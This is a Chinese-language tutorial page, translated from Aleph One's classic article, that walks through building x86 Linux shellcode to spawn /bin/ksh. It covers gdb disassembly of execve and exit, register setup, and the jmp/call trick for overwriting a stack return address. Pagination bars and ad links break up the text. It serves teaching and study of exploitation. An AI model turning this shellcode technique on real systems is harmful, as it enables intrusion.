当前位置:Linux教程 - Linux综合 - 书写Linux下自己的shellcode

书写Linux下自己的shellcode

<!--StartFragment-->概述:
=版权所有  软件 下载  学院  版权所有=
    aleph1书写了这篇经典文章,首先要向他致敬。
    tt整理翻译了它,其次就是要向他表示衷心的感谢。

    该篇文章由浅入深地详细介绍了整个书写shellcode的步骤,
    并给出了图示帮助理解。文章中涉及到了一些工具的使用,
    要求具备汇编语言、编译原理的基础知识,如果你对此不
    了解的话,我建议你不要看下去,而是应该回头学习更基础
    的东西。gdb、objdump、vi、gcc等等工具你必须学会使用,
    你必须了解call命令、int命令与普通jmp命令的区别所在,
    你还应该知道函数从c语言编译到机器码时做了什么工作。
    如果所有的这一切都不成问题,你可以开始了。
    come on,baby!

测试:

    RedHat 6.0/Intel PII

目录:

    ★ 让我们开始吧

        1.  vi shellcode.c
        2.  gcc -o shellcode -ggdb -static shellcode.c
        3.  gdb shellcode
        4.  研究 main() 函数的汇编代码
        5.  研究 execve() 函数的执行过程
        6.  vi shellcode_exit.c
        7.  gcc -o shellcode_exit -static shellcode_exit.c
        8.  gdb shellcode_exit
        9.  研究 exit() 函数的执行过程
        10. 整个过程的伪汇编代码
        11. 观察堆栈分布情况
        12. 修改后的伪汇编代码
        13. 调整汇编代码
        14. 观察当前堆栈
        15. vi shellcodeasm.c
        16. gcc -o shellcodeasm -g -ggdb shellcodeasm.c
        17. gdb shellcodeasm
        18. 验证shellcode
        19. 最后的调整
        20. 验证最后调整得到的shellcode

    ★ 我对shellcode以及这篇文章的看法

        1. 你是从DOS年代过来的吗?
        2. 关于文章中的一些技术说明
        3. 如何写Sun工作站上的shellcode?

★ 让我们开始吧

1. vi shellcode.c

#include
int main ( int argc, char * argv[] )

[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] 下一页 

{
    char * name[2];
    name[0] = "/bin/ksh";
    name[1] = NULL;
    execve( name[0], name, NULL );
    return 0;
}

2. gcc -o shellcode -ggdb -static shellcode.c

3. gdb shellcode

[scz@ /home/scz/src]> gdb shellcode
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main <-- -- -- 输入
Dump of assembler code for function main:
0x80481a0 :       pushl  %ebp
0x80481a1 :     movl   %esp,%ebp
0x80481a3 :     subl   $0x8,%esp
0x80481a6 :     movl   $0x806f308,0xfffffff8(%ebp)
0x80481ad :    movl   $0x0,0xfffffffc(%ebp)
0x80481b4 :    pushl  $0x0
0x80481b6 :    leal   0xfffffff8(%ebp),%eax
0x80481b9 :    pushl  %eax
0x80481ba :    movl   0xfffffff8(%ebp),%eax
0x80481bd :    pushl  %eax
0x80481be :    call   0x804b9b0 <__execve>
0x80481c3 :    addl   $0xc,%esp
0x80481c6 :    xorl   %eax,%eax
0x80481c8 :    jmp    0x80481d0
0x80481ca :    leal   0x0(%esi),%esi
0x80481d0 :    leave
0x80481d1 :    ret
End of assembler dump.
(gdb) disas __execve <-- -- -- 输入
Dump of assembler code for function __execve:
0x804b9b0 <__execve>:   pushl  %ebx
0x804b9b1 <__execve+1>: movl   0x10(%esp,1),%edx
0x804b9b5 <__execve+5>: movl   0xc(%esp,1),%ecx
0x804b9b9 <__execve+9>: movl   0x8(%esp,1),%ebx
0x804b9bd <__execve+13>:        movl   $0xb,%eax
0x804b9c2 <__execve+18>:        int    $0x80
0x804b9c4 <__execve+20>:        popl   %ebx
0x804b9c5 <__execve+21>:        cmpl   $0xfffff001,%eax
0x804b9ca <__execve+26>:        jae    0x804bcb0 <__syscall_error>
0x804b9d0 <__execve+32>:        ret
End of assembler dump.

4. 研究 main() 函数的汇编代码

0x80481a0 :       pushl  %ebp      # 保存原来的栈基指针
                                         # 栈基指针与堆栈指针不是一个概念

上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] 下一页 

                                         # 栈基指针对应栈底,堆栈指针对应栈顶
0x80481a1 :     movl   %esp,%ebp # 修改得到新的栈基指针
                                         # 与我们以前在dos下汇编格式不一样
                                         # 这个语句是说把esp的值赋给ebp
                                         # 而在dos下,正好是反过来的,一定要注意
0x80481a3 :     subl   $0x8,%esp # 堆栈指针向栈顶移动八个字节
                                         # 用于分配局部变量的存储<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>
                                         # 这里具体就是给 char * name[2] 预留<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>
                                         # 因为每个字符指针占用4个字节,总共两个指针
0x80481a6 :     movl   $0x806f308,0xfffffff8(%ebp)
                                         # 将字符串"/bin/ksh"的地址拷贝到name[0]
                                         # name[0] = "/bin/ksh";
                                         # 0xfffffff8(%ebp) 就是 ebp - 8 的意思

上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] 下一页 

                                         # 注意堆栈的增长方向以及局部变量的分配方向
                                         # 先分配name[0]后分配name[1]的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>
0x80481ad :    movl   $0x0,0xfffffffc(%ebp)
                                         # 将NULL拷贝到name[1]
                                         # name[1] = NULL;
0x80481b4 :    pushl  $0x0
                                         # 按从右到左的顺序将execve()的三个参数依次压栈
                                         # 首先压入 NULL (第三个参数)
                                         # 注意pushl将压入一个四字节长的0
0x80481b6 :    leal   0xfffffff8(%ebp),%eax
                                         # 将 ebp - 8 本身放入eax寄存器中
                                         # leal的意思是取地址,而不是取值
0x80481b9 :    pushl  %eax      # 其次压入 name
0x80481ba :    movl   0xfffffff8(%ebp),%eax
0x80481bd :    pushl  %eax      # 将 ebp - 8 本身放入eax寄存器中
                                         # 最后压入 name[0]

上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] 下一页 

                                         # 即 "/bin/ksh" 字符串的地址
0x80481be :    call   0x804b9b0 <__execve>
                                         # 开始调用 execve()
                                         # call指令首先会将返回地址压入堆栈
0x80481c3 :    addl   $0xc,%esp
                                         # esp + 12
                                         # 释放为了调用 execve() 而压入堆栈的内容
0x80481c6 :    xorl   %eax,%eax
0x80481c8 :    jmp    0x80481d0
0x80481ca :    leal   0x0(%esi),%esi
0x80481d0 :    leave
0x80481d1 :    ret

5. 研究 execve() 函数的执行过程

Linux在寄存器里传递它的参数给系统调用,用软件中断跳到kernel模式(int $0x80)

0x804b9b0 <__execve>:   pushl  %ebx      # ebx压栈
0x804b9b1 <__execve+1>: movl   0x10(%esp,1),%edx
                                         # 把 esp + 16 本身赋给edx
                                         # 为什么是16,因为栈顶现在是ebx
                                         # 下面依次是返回地址、name[0]、name、NULL
                                         # edx --> NULL

上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] 下一页 

0x804b9b5 <__execve+5>: movl   0xc(%esp,1),%ecx
                                         # 把 esp + 12 本身赋给 ecx
                                         # ecx --> name
                                         # 命令的参数数组,包括命令自己
0x804b9b9 <__execve+9>: movl   0x8(%esp,1),%ebx
                                         # 把 esp + 8 本身赋给 ebx
                                         # ebx --> name[0]
                                         # 命令本身,"/bin/ksh"
0x804b9bd <__execve+13>:        movl   $0xb,%eax
                                         # 设置eax为0xb,这是syscall表中的索引
                                         # 0xb对应execve
0x804b9c2 <__execve+18>:        int    $0x80
                                         # 软件中断,转入kernel模式
0x804b9c4 <__execve+20>:        popl   %ebx
                                         # 恢复ebx

上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] 下一页 

0x804b9c5 <__execve+21>:        cmpl   $0xfffff001,%eax
0x804b9ca <__execve+26>:        jae    0x804bcb0 <__syscall_error>
                                         # 判断返回值,报告可能的系统调用错误
0x804b9d0 <__execve+32>:        ret      # execve() 调用返回
                                         # 该指令会用压在堆栈中的返回地址

从上面的分析可以看出,完成 execve() 系统调用,我们所要做的不过是这么几项而已:

    a) 在内存中有以NULL结尾的字符串"/bin/ksh"
    b) 在内存中有"/bin/ksh"的地址,其后是一个 unsigned long 型的NULL值
    c) 将0xb拷贝到寄存器EAX中
    d) 将"/bin/ksh"的地址拷贝到寄存器EBX中
    e) 将"/bin/ksh"地址的地址拷贝到寄存器ECX中
    f) 将 NULL 拷贝到寄存器EDX中
    g) 执行中断指令int $0x80

如果execve()调用失败的话,程序将继续从堆栈中获取指令并执行,而此时堆栈中的数据
是随机的,通常这个程序会core dump。我们希望如果execve调用失败的话,程序可以正
常退出,因此我们必须在execve调用后增加一个exit系统调用。它的C语言程序如下:

6. vi shellcode_exit.c

#include
int main ()
{
    exit( 0 );
}

7. gcc -o shellcode_exit -static shellcode_exit.c

8. gdb shellcode_exit

[scz@ /home/scz/src]> gdb shellcode_exit
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas _exit <-- -- -- 输入
Dump of assembler code for function _exit:
0x804b970 <_exit>:      movl   %ebx,%edx
0x804b972 <_exit+2>:    movl   0x4(%esp,1),%ebx
0x804b976 <_exit+6>:    movl   $0x1,%eax
0x804b97b <_exit+11>:   int    $0x80
0x804b97d <_exit+13>:   movl   %edx,%ebx
0x804b97f <_exit+15>:   cmpl   $0xfffff001,%eax
0x804b984 <_exit+20>:   jae    0x804bc60 <__syscall_error>
End of assembler dump.

9. 研究 exit() 函数的执行过程

我们可以看到,exit系统调用将0x1放到EAX中(这是它的syscall索引值),将退出码放
入EBX中,然后执行"int $0x80"。大部分程序正常退出时返回0值,我们也在EBX中放入0。
现在我们所要完成的工作又增加了三项:

    a) 在内存中有以NULL结尾的字符串"/bin/ksh"
    b) 在内存中有"/bin/ksh"的地址,其后是一个 unsigned long 型的NULL值
    c) 将0xb拷贝到寄存器EAX中
    d) 将"/bin/ksh"的地址拷贝到寄存器EBX中
    e) 将"/bin/ksh"地址的地址拷贝到寄存器ECX中
    f) 将 NULL 拷贝到寄存器EDX中
    g) 执行中断指令int $0x80
    h) 将0x1拷贝到寄存器EAX中
    i) 将0x0拷贝到寄存器EBX中

上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] 下一页 

    j) 执行中断指令int $0x80

10. 整个过程的伪汇编代码

下面我们用汇编语言完成上述工作。我们把"/bin/ksh"字符串放到代码的后面,并且会
把字符串的地址和NULL加到字符串的后面:

------------------------------------------------------------------------------
movl   string_addr,string_addr_addr    #将字符串的地址放入某个内存单元中
movb   $0x0,null_byte_addr             #将null放入字符串"/bin/ksh"的结尾
movl   $0x0,null_addr                  #将NULL放入某个内存单元中
movl   $0xb,%eax                       #将0xb拷贝到EAX中
movl   string_addr,%ebx                #将字符串的地址拷贝到EBX中
leal   string_addr_addr,%ecx           #将存放字符串地址的地址拷贝到ECX中
leal   null_string,%edx                #将存放NULL的地址拷贝到EDX中
int    $0x80                           #执行中断指令int $0x80 (execve()完成)
movl   $0x1, %eax                      #将0x1拷贝到EAX中
movl   $0x0, %ebx                      #将0x0拷贝到EBX中
int    $0x80                           #执行中断指令int $0x80 (exit(0)完成)
/bin/ksh string goes here.             #存放字符串"/bin/ksh"
------------------------------------------------------------------------------

11. 观察堆栈分布情况

现在的问题是我们并不清楚我们正试图eXPloit的代码和我们要放置的字符串在内存中
的确切位置。一种解决的方法是用一个jmp和call指令。jmp和call指令可以用IP相关寻址,
也就是说我们可以从当前正要运行的地址跳到一个偏移地址处执行,而不必知道这个地址
的确切数值。如果我们将call指令放在字符串"/bin/ksh"的前面,然后jmp到call指令的位置,
那么当call指令被执行的时候,它会首先将下一个要执行指令的地址(也就是字符串的地址
)压入堆栈。我们可以让call指令直接调用我们shellcode的开始指令,然后将返回地址(字符
串地址)从堆栈中弹出到某个寄存器中。假设J代表JMP指令,C代表CALL指令,S代表其他指令,
s代表字符串"/bin/ksh",那么我们执行的顺序就象下图所示:

内存       DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     内存
低端       89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     高端
           buffer                sfp   ret   a     b     c

上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] 下一页 


<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________||
             |______________| (3)
栈顶                                                              栈底

sfp  : 栈基指针
ret  : 返回地址
a,b,c: 函数入口参数

(1)用0xD8覆盖返回地址后,子函数返回时将跳到0xD8处开始执行,也就是我们shellcode
   的起始处
(2)由于0xD8处是一个jmp指令,它直接跳到了0xE8处执行我们的call指令
(3)call指令先将返回地址(也就是字符串地址)0xEA压栈后,跳到0xDA处开始执行

12. 修改后的伪汇编代码

经过上述修改后,我们的汇编代码变成了下面的样子:

------------------------------------------------------------------------------
jmp    offset-to-call           # 3 bytes 1.首先跳到call指令处去执行
popl   %esi                     # 1 byte  3.从堆栈中弹出字符串地址到ESI中
movl   %esi,array-offset(%esi)  # 3 bytes 4.将字符串地址拷贝到字符串后面
movb   $0x0,nullbyteoffset(%esi)# 4 bytes 5.将null字节放到字符串的结尾
movl   $0x0,null-offset(%esi)   # 7 bytes 6.将null长字放到字符串地址的地址后面
movl   $0xb,%eax                # 5 bytes 7.将0xb拷贝到EAX中
movl   %esi,%ebx                # 2 bytes 8.将字符串地址拷贝到EBX中
leal   array-offset(%esi),%ecx  # 3 bytes 9.将字符串地址的地址拷贝到ECX
leal   null-offset(%esi),%edx   # 3 bytes 10.将null串的地址拷贝到EDX
int    $0x80                    # 2 bytes 11.调用中断指令int $0x80
movl   $0x1, %eax               # 5 bytes 12.将0x1拷贝到EAX中
movl   $0x0, %ebx               # 5 bytes 13.将0x0拷贝到EBX中
int    $0x80                    # 2 bytes 14.调用中断int $0x80

上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] 下一页